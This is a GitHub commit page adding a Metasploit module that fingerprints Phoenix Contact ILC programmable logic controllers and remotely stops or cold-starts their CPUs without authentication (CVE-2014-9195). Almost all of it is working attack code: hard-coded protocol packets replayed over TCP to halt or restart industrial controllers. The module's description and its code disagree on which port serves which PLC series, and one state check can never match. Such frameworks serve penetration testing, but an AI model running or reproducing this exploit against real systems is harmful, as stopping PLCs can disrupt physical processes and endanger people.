Skip to content

Commit 36a9ef8

Browse files
committed
Added phoenix_command.rb
1 parent fda4eb4 commit 36a9ef8

File tree

1 file changed

+228
-0
lines changed

1 file changed

+228
-0
lines changed
Lines changed: 228 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,228 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::Tcp
11+
include Rex::Socket::Tcp
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'PhoenixContact PLC Remote START/STOP Command',
16+
'Version' => '1',
17+
'Description' => %q{
18+
PhoenixContact Programmable Logic Controllers are built upon a variant of
19+
ProConOS. Communicating using a proprietary protocol over ports TCP/1962
20+
and TCP/41100 or TCP/20547.
21+
It allows a remote user to read out the PLC Type, Firmware and
22+
Build number on port TCP/1962.
23+
And also to read out the CPU State (Running or Stopped) AND start
24+
or stop the CPU on port TCP/20547 (confirmed ILC 15x and 17x series)
25+
or on port TCP/41100 (confirmed ILC 39x series)
26+
},
27+
'Author' => 'Tijl Deneut <tijl.deneut[at]howest.be>',
28+
'License' => MSF_LICENSE,
29+
'References' =>
30+
[
31+
[ 'URL', 'https://github.com/tijldeneut/ICSSecurityScripts' ],
32+
[ 'CVE', '2014-9195']
33+
],
34+
'DisclosureDate' => 'May 20 2015'
35+
))
36+
register_options(
37+
[
38+
OptEnum.new('ACTION', [true, 'PLC CPU action, REV means reverse current CPU state', 'NOOP',
39+
[
40+
'STOP',
41+
'START',
42+
'REV',
43+
'NOOP'
44+
]
45+
]),
46+
OptPort.new('RINFOPORT', [true, 'Set info port', 1962 ]),
47+
OptPort.new('RPORT', [false, 'Set action port, will try autodetect when not set' ])
48+
], self.class)
49+
50+
end
51+
52+
# Here comes the code, hang on to your pants
53+
def bin_to_hex(s)
54+
s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
55+
end
56+
57+
def hex_to_bin(s)
58+
s.scan(/../).map { |x| x.hex.chr }.join
59+
end
60+
61+
def send_recv_once(data)
62+
buf = ''
63+
begin
64+
sock.put(data)
65+
buf = sock.get_once || ''
66+
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
67+
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
68+
end
69+
70+
bin_to_hex(buf)
71+
end
72+
73+
def get_info(rhost, rport)
74+
connect(true, {'RHOST'=>rhost, 'RPORT'=>rport})
75+
code = send_recv_once("\x01\x01\x00\x1a\x00^\x00\x00\x00\x00\x00\x03\x00\x0cIBETH01N0_M\x00")[34..35]
76+
send_recv_once("\x01\x05\x00\x16\x00\x5f\x00\x00\x08\xef\x00" + hex_to_bin(code) + "\x00\x00\x00\x22\x00\x04\x02\x95\x00\x00")
77+
data = send_recv_once("\x01\x06\x00\x0e\x00\x61\x00\x00\x88\x11\x00" + hex_to_bin(code) + "\x04\x00")
78+
disconnect
79+
plctype = hex_to_bin(data[60..99])
80+
print_status("PLC Type = " + plctype)
81+
print_status("Firmware = " + hex_to_bin(data[132..139]))
82+
print_status("Build = " + hex_to_bin(data[158..174]) + " " + hex_to_bin(data[182..199]))
83+
print_status('------------------------------------')
84+
plctype
85+
end
86+
87+
def init_phase1
88+
send_recv_once("\x01\x00\x00\x00\x00\x00/\x00\x00\x00\x00\x00\x00\x00\xcf\xffAde.Remoting.Services.IProConOSControlService2\x00")
89+
send_recv_once("\x01\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IProConOSControlService\x00")
90+
send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDataAccessService\x00")
91+
send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDeviceInfoService2\x00")
92+
send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDeviceInfoService\x00")
93+
send_recv_once("\x01\x00\x00\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\xd9\xffAde.Remoting.Services.IForceService2\x00")
94+
send_recv_once("\x01\x00\x00\x00\x00\x00$\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IForceService\x00")
95+
send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\xce\xffAde.Remoting.Services.ISimpleFileAccessService3\x00")
96+
send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.ISimpleFileAccessService2\x00")
97+
send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDeviceInfoService2\x00")
98+
send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDeviceInfoService\x00")
99+
send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDataAccessService3\x00")
100+
send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDataAccessService\x00")
101+
send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDataAccessService2\x00")
102+
send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\xd5\xffAde.Remoting.Services.IBreakpointService\x00")
103+
send_recv_once("\x01\x00\x00\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00\xd6\xffAde.Remoting.Services.ICallstackService\x00")
104+
send_recv_once("\x01\x00\x00\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDebugService2\x00")
105+
send_recv_once("\x01\x00\x00\x00\x00\x00/\x00\x00\x00\x00\x00\x00\x00\xcf\xffAde.Remoting.Services.IProConOSControlService2\x00")
106+
send_recv_once("\x01\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IProConOSControlService\x00")
107+
send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\xce\xffAde.Remoting.Services.ISimpleFileAccessService3\x00")
108+
send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.ISimpleFileAccessService2\x00")
109+
send_recv_once("\x01\x00\x02\x00\x00\x00\x0e\x00\x03\x00\x03\x00\x00\x00\x00\x00\x05\x00\x00\x00\x12@\x13@\x13\x00\x11@\x12\x00")
110+
end
111+
112+
def init_phase2
113+
send_recv_once("\xcc\x01\x00\r\xc0\x01\x00\x00\xd5\x17")
114+
send_recv_once("\xcc\x01\x00\x0b@\x02\x00\x00G\xee")
115+
send_recv_once("\xcc\x01\x00[@\x03\x1c\x00\x01\x00\x00\x00\x1c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd7\x9a")
116+
send_recv_once("\xcc\x01\x00[@\x04\x1c\x00\x01\x00\x00\x00\x1c\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xeaC")
117+
send_recv_once("\xcc\x01\x00\x06@\x05\x00\x006\x1e")
118+
send_recv_once("\xcc\x01\x00\x07@\x06\x10\x00&u\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc6\x82")
119+
end
120+
121+
def get_state1(data)
122+
if data[48..49] == '03'
123+
state = 'RUN'
124+
elsif data[48..49] == '07'
125+
state = 'STOP'
126+
elsif data[49..49] == '00'
127+
state = 'ON'
128+
else
129+
print_error('CPU State not detected, full result is ' + data)
130+
return
131+
end
132+
state
133+
end
134+
135+
def get_state2(data)
136+
if data[16..17] == '04'
137+
state = 'STOP'
138+
elsif data[16..17] == '02'
139+
state = 'RUN'
140+
else
141+
print_error('CPU State not detected, full result is ' + data)
142+
return
143+
end
144+
state
145+
end
146+
147+
def get_cpu(rhost, rport, devicetype)
148+
connect(true, {'RHOST'=>rhost, 'RPORT'=>rport})
149+
state = 'unknown'
150+
if devicetype == '15x'
151+
init_phase1
152+
## KeepAlive packet
153+
send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00")
154+
## Query packet
155+
data = send_recv_once("\x01\x00\x02\x00\x00\x00\x08\x00\x03\x00\x03\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x40\x0b\x40")
156+
state = get_state1(data)
157+
elsif devicetype == '39x'
158+
init_phase2
159+
data = send_recv_once("\xcc\x01\x00\x0f@\x07\x00\x00\xea\xfa")
160+
state = get_state2(data)
161+
end
162+
disconnect
163+
print_status('CPU Mode = ' + state)
164+
state
165+
end
166+
167+
def set_cpu(rhost, rport, action, state, devicetype)
168+
connect(true, {'RHOST'=>rhost, 'RPORT'=>rport})
169+
if devicetype == '15x'
170+
init_phase1 ## Several packets (21)
171+
send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00")
172+
if action == 'START' or (action == 'REV' and state == 'STOP')
173+
print_status('--> Sending COLD start now')
174+
send_recv_once("\x01\x00\x02\x00\x00\x00\x02\x00\x01\x00\x06\x00\x00\x00\x00\x00\x01\x00")
175+
else
176+
print_status('--> Sending STOP now')
177+
send_recv_once("\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x07\x00\x00\x00\x00\x00")
178+
end
179+
elsif devicetype == '39x'
180+
init_phase2 ## Several packets (6)
181+
if action == 'START' or (action == 'REV' and state == 'STOP')
182+
print_status('--> Sending COLD start now')
183+
send_recv_once("\xcc\x01\x00\x04\x40\x0e\x00\x00\x18\x21")
184+
else
185+
print_status('--> Sending STOP now')
186+
send_recv_once("\xcc\x01\x00\x01\x40\x0e\x00\x00\x4c\x07")
187+
end
188+
else
189+
print_error('Unknown device type')
190+
return
191+
end
192+
sleep(1) ## It takes a second for a PLC to start
193+
get_cpu(rhost, rport, devicetype)
194+
disconnect
195+
end
196+
197+
def run
198+
rhost = datastore['RHOST']
199+
action = datastore['ACTION']
200+
ractionport = datastore['RPORT']
201+
202+
device = get_info(rhost, datastore['RINFOPORT'])
203+
204+
if device.start_with?('ILC 15') or device.start_with?('ILC 17')
205+
devicetype = '15x'
206+
print_status('--> Detected 15x/17x series, getting current CPU state:')
207+
ractionport == 0 ? (rport = 41100) : (rport = ractionport)
208+
elsif device.start_with?('ILC 39')
209+
devicetype = '39x'
210+
print_status('--> Detected 39x series, getting current CPU state:')
211+
ractionport == 0 ? (rport = 20547) : (rport = ractionport)
212+
else
213+
print_error('Only ILC and (some) RFC devices are supported.')
214+
return
215+
end
216+
217+
state = get_cpu(rhost, rport, devicetype)
218+
print_status('------------------------------------')
219+
220+
if action == "NOOP"
221+
print_status('--> No action specified (' + action + '), stopping here')
222+
return
223+
end
224+
225+
set_cpu(rhost, rport, action, state, devicetype)
226+
end
227+
end
228+

0 commit comments

Comments
 (0)